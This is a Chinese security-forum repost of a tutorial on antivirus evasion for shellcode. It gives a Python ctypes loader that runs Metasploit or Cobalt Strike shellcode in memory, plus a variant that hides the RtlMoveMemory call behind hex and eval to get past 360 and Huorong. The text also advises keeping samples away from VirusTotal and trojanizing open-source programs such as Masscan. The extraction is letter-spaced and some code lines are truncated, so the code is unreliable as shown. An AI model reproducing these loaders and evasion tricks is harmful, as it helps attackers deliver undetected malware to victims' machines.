搜索

[19698] 2020-12-23_Shellcode免杀基础教程

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-23_Shellcode免杀基础教程 S h e l l c o d e 免 杀 基 础 教 程 i 春 秋   2 0 2 0 - 1 2 - 2 3 本 文 是   i   春 秋 论 坛 作 家 「 A v i c 」 表 哥 分 享 的 技 术 文 章 ， 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 S h e l l c o d e 免 杀 基 础 教 程 免 杀 基 础 教 程 S h e l l c o d e 执 行 工 具 编 写 思 路 执 行 工 具 编 写 思 路 首 先 利 用 一 段 P y t h o n 的 源 代 码 ， 给 大 家 分 析 怎 么 写 s h e l l c o d e 执 行 盒 。
引 入 c t y p e s 模 块 ， 接 着 将 s h e l l c o d e 代 码 赋 值 给 变 量 h e x 解 码 ， （ M S F 或 C s 生 成 的 之 后 ， 使 用 编 码 工 具 手 动 编 码 一 次 ） 转 换 为 字 节 数 组 。 然 后 ， 使 用 c t y p e s ， 调 用 w i n d o w s 自 带 的 d l l ， 也 就 是 K e r n e l 3 2 ， 使 用 V i r t u a l A l l o c 函 数 ， 分 配 内 存 ， 返 回 分 配 的 首 地 址 。 再 使 用 R t l M o v e M e m o r y ， 将 s h e l l c o d e 拷 贝 到 目 标 内 存 。 使 用 C r e a t e T h r e a d 创 建 一 个 线 程 ， 使 用 W a i t F o r S i n g l e O b j e c t 执 行 内 存 。 总 之 ， 就 是 调 用 K e r n e l 3 2 . d l l 中 的 函 数 来 编 写 S h e l l c o d e 执 行 工 具 ， 不 止 这 一 种 方 法 。 作 者 水 平 有 限 ， 请 勿 断 章 取 义 。 编 写 编 写 S h e l l c o d e 执 行 工 具 执 行 工 具 为 了 验 证 前 面 的 思 路 是 正 确 的 ， 在 用 其 他 语 言 来 验 证 一 下 。 这 里 ， 我 们 使 用 易 语 言 吧 ， 尽 可 能 让 大 家 看 懂 编 写 过 程 。 新 建 一 个 w i n d o w s 窗 口 程 序 i m p o r t   c t y p e s s h e l l c o d e   =   " " " " " " p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 3 0 0 0 b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ i n t ( p t r ) ,   b u f ,   c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) h t = c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( h t ) , c t y p e s . c _ i n t ( - 1 ) )
画 一 个 界 面 出 来 ， 大 概 就 这 样 。 双 击 按 钮 来 到 添 加 事 件 ， 来 到 编 辑 界 面 。 添 加 一 个 精 易 模 块 ， 等 会 要 用 他 里 面 的 方 法 来 编 写 s h e l l c o d e ， 创 建 s h e l l c o d e 变 量 ， 用 来 储 存 s h e l l c o d e 。
查 看 模 块 手 册 ， 就 会 发 现 模 块 自 带 V i r t u a l A l l o c   R t l M o v e M e m o r y   C r e a t e T h r e a d   W a i t F o r S i n g l e O b j e c t 这 四 个 方 法 ， 我 们 直 接 使 用 即 可 。 最 终 编 写 如 下 ， 如 果 你 仔 细 比 对 P y t h o n 源 代 码 ， 你 会 发 现 真 的 基 本 上 就 是 差 不 多 的 。 最 后 ， 让 我 们 来 测 试 一 下 吧 。 M S F 生 成 一 个 小 弹 窗 测 试 一 下 。
使 用 一 下 K 8 飞 刀 的 编 码 工 具 获 得 编 码 以 后 的 s h e l l c o d e
获 得 H E x 编 码 的 S h e l l c o d e ， 复 制 粘 贴 到 加 载 测 试 工 具 中 ， 点 击 加 载 s h e l l c o d e 。 S h e l l c o d e 上 线 免 杀 思 路 上 线 免 杀 思 路 用 P y t h o n   R u b y 这 类 解 释 型 语 言 ， 打 包 成 E X E 就 算 是 正 常 程 序 也 很 有 可 能 被 拦 截 ， 而 像 C 和 G O 以 及 C + + 这 种 编 译 型 语 言 则 不
会 有 这 种 问 题 。 建 议 各 位 免 杀 ， 放 在 虚 拟 机 ， 并 且 断 网 防 止 被 上 传 。 也 不 要 上 传 V T 等 杀 毒 网 站 ， 会 被 厂 商 拿 去 分 析 的 。 免 杀 的 时 候 也 不 要 上 传 到 类 似 于 3 6 0 的 云 查 杀 。 下 面 我 来 叙 述 一 下 我 的 思 路 ： 首 先 ， 我 给 出 一 段 免 杀 3 6 0 与 火 绒 的 P y t h o n 加 载 器 源 代 码 。 细 心 的 小 伙 伴 们 可 能 会 发 现 ， 这 跟 上 面 第 一 部 分 我 给 出 的 源 代 码 很 像 。 对 的 ， 这 个 就 是 在 那 个 基 础 上 运 用 了 一 下 加 密 手 段 ， 来 进 行 免 杀 的 。 使 用 h e x 将 ， 3 6 0 查 杀 的 部 分 给 藏 了 起 来 。 在 运 行 的 时 候 ， 首 先 解 密 字 符 串 ， 然 后 e v a l 执 行 ， 运 用 了 等 价 替 换 的 思 路 。 问 题 来 了 ， 我 为 什 么 知 道 3 6 0 查 杀 这 里 ？ 这 里 给 大 家 一 个 小 方 法 ， 那 就 是 不 断 的 F U z z 。 像 下 文 这 段 代 码 ， 我 发 现 去 掉 c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ i n t ( p t r ) ,   b u f ,   c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) ， 然 后 打 包 成 e x e ， 3 6 0 则 不 查 杀 ， 就 是 不 断 的 去 尝 试 ， 最 后 知 道 他 查 杀 哪 里 。 第 二 个 思 路 ， 使 用 一 些 正 常 的 开 源 项 目 ， 在 里 面 加 点 料 ， 达 到 免 杀 。 经 过 本 人 不 断 地 测 试 ， 发 现 效 果 属 实 顶 。 V T 查 杀 轻 轻 松 松 可 以 控 制 在 8 左 右 。 而 且 ， 相 对 于 第 一 个 思 路 来 说 ， 也 更 加 容 易 ， 适 合 新 手 朋 友 。 这 里 给 出 效 果 图 ， 使 用 的 是 M a s s c a n 。 i m p o r t   c t y p e s a   =   " s h e l l c o d e " s h e l l c o d e = b y t e a r r a y ( a . d e c o d e ( " h e x " ) ) p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 3 0 0 0 ) , c t y p e s . c _ i n t ( 0 x 4 0 ) ) b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) s h e l l   =   " 6 3 7 4 7 9 7 0 6 5 7 3 2 e 7 7 6 9 6 e 6 4 6 c 6 c 2 e 6 b 6 5 7 2 6 e 6 5 6 c 3 3 3 2 2 e 5 2 7 4 6 c 4 d 6 f 7 6 6 5 4 d 6 5 6 d 6 f 7 2 7 9 2 8 6 3 7 4 7 9 7 0 6 5 7 3 2 e 6 3 5 f 6 9 6 e 7 4 2 8 7 0 7 4 7 2 2 9 2 e v a l ( s h e l l . d e c o d e ( " h e x " ) ) h t   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . p o i n t e r ( c t y p e s . c _ i n t ( 0 ) ) ) c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( h t ) , c t y p e s . c _ i n t ( - 1 ) )
稍 微 给 M a s s c a n 加 了 点 料 S h e l l c o d e 免 杀 实 战 免 杀 实 战 首 先 ， 去 g i t h u b 上 随 手 一 搜 索 C 写 的 程 序 ， 然 后 下 载 到 本 地 ， 打 开 。 我 这 里 用 的 是 v s 2 0 1 9 ， 你 们 也 可 以 用 其 他 的 ， 没 有 硬 性 要 求 。 第 一 ， 这 里 准 备 两 个 东 西 ， 一 个 是 b a s e 6 4 加 密 解 密 的 c o d e ， 另 外 一 个 是 反 转 字 符 串 的 c o d e 。 第 二 ， 找 开 源 程 序 的 时 候 ， 注 意 文 件 大 小 ， 太 小 的 效 果 不 好 ， 太 大 的 又 臃 肿 ， 几 百 K 左 右 也 可 以 ， 但 是 其 实 也 没 有 那 么 大 的 硬 性 要 求 。
s t a t i c   c o n s t   u n s i g n e d   c h a r   p r 2 s i x [ 2 5 6 ]   = {         / *   A S C I I   t a b l e   * /         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 2 ,   6 4 ,   6 4 ,   6 4 ,   6 3 ,         5 2 ,   5 3 ,   5 4 ,   5 5 ,   5 6 ,   5 7 ,   5 8 ,   5 9 ,   6 0 ,   6 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   0 ,   1 ,   2 ,   3 ,   4 ,   5 ,   6 ,   7 ,   8 ,   9 ,   1 0 ,   1 1 ,   1 2 ,   1 3 ,   1 4 ,         1 5 ,   1 6 ,   1 7 ,   1 8 ,   1 9 ,   2 0 ,   2 1 ,   2 2 ,   2 3 ,   2 4 ,   2 5 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   2 6 ,   2 7 ,   2 8 ,   2 9 ,   3 0 ,   3 1 ,   3 2 ,   3 3 ,   3 4 ,   3 5 ,   3 6 ,   3 7 ,   3 8 ,   3 9 ,   4 0 ,         4 1 ,   4 2 ,   4 3 ,   4 4 ,   4 5 ,   4 6 ,   4 7 ,   4 8 ,   4 9 ,   5 0 ,   5 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 } ; i n t   B a s e 6 4 d e c o d e _ l e n ( c o n s t   c h a r *   b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r *   b u f i n ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         r e t u r n   n b y t e s d e c o d e d   +   1 ; } i n t   B a s e 6 4 d e c o d e ( c h a r *   b u f p l a i n ,   c o n s t   c h a r *   b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r *   b u f i n ;         r e g i s t e r   u n s i g n e d   c h a r *   b u f o u t ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         b u f o u t   =   ( u n s i g n e d   c h a r * ) b u f p l a i n ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( n p r b y t e s   >   4 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;                 b u f i n   + =   4 ;                 n p r b y t e s   - =   4 ;         }         / *   N o t e :   ( n p r b y t e s   = =   1 )   w o u l d   b e   a n   e r r o r ,   s o   j u s t   i n g o r e   t h a t   c a s e   * /         i f   ( n p r b y t e s   >   1 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;         }
        i f   ( n p r b y t e s   >   2 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;         }         i f   ( n p r b y t e s   >   3 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;         }         * ( b u f o u t + + )   =   ' 0 ' ;         n b y t e s d e c o d e d   - =   ( 4   -   n p r b y t e s )   &   3 ;         r e t u r n   n b y t e s d e c o d e d ; } s t a t i c   c o n s t   c h a r   b a s i s _ 6 4 [ ]   = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 + / " ; i n t   B a s e 6 4 e n c o d e _ l e n ( i n t   l e n ) {         r e t u r n   ( ( l e n   +   2 )   /   3   *   4 )   +   1 ; } i n t   B a s e 6 4 e n c o d e ( c h a r *   e n c o d e d ,   c o n s t   c h a r *   s t r i n g ,   i n t   l e n ) {         i n t   i ;         c h a r *   p ;         p   =   e n c o d e d ;         f o r   ( i   =   0 ;   i   <   l e n   -   2 ;   i   + =   3 )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g   > >   2 )   &   0 x 3 F ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 )   |                         ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 )   |                         ( ( i n t ) ( s t r i n g [ i   +   2 ]   &   0 x C 0 )   > >   6 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ s t r i n g [ i   +   2 ]   &   0 x 3 F ] ;         }         i f   ( i   <   l e n )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g   > >   2 )   &   0 x 3 F ] ;                 i f   ( i   = =   ( l e n   -   1 ) )   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 ) ] ;                         / /   * p + +   =   ' = ' ;                 }                 e l s e   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 )   |                                 ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 ) ] ;                 }                 / / * p + +   =   ' = ' ;         }         * p + +   =   ' 0 ' ;         r e t u r n   p   -   e n c o d e d ; } s t r i n g _ c h a n g e ( u n s i g n e d   c h a r *   p )   {         i n t   i ,   l e n ;         c h a r   t e m p ;         l e n   =   s t r l e n ( p ) ;         f o r   ( s i z e _ t   i   =   0 ;   i   <   ( l e n   /   2 ) ;   i + + )         {                 t e m p   =   p [ i ] ;                 p [ i ]   =   p [ l e n   -   1   -   i ] ;                 p [ l e n   -   1   -   i ]   =   t e m p ;         } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理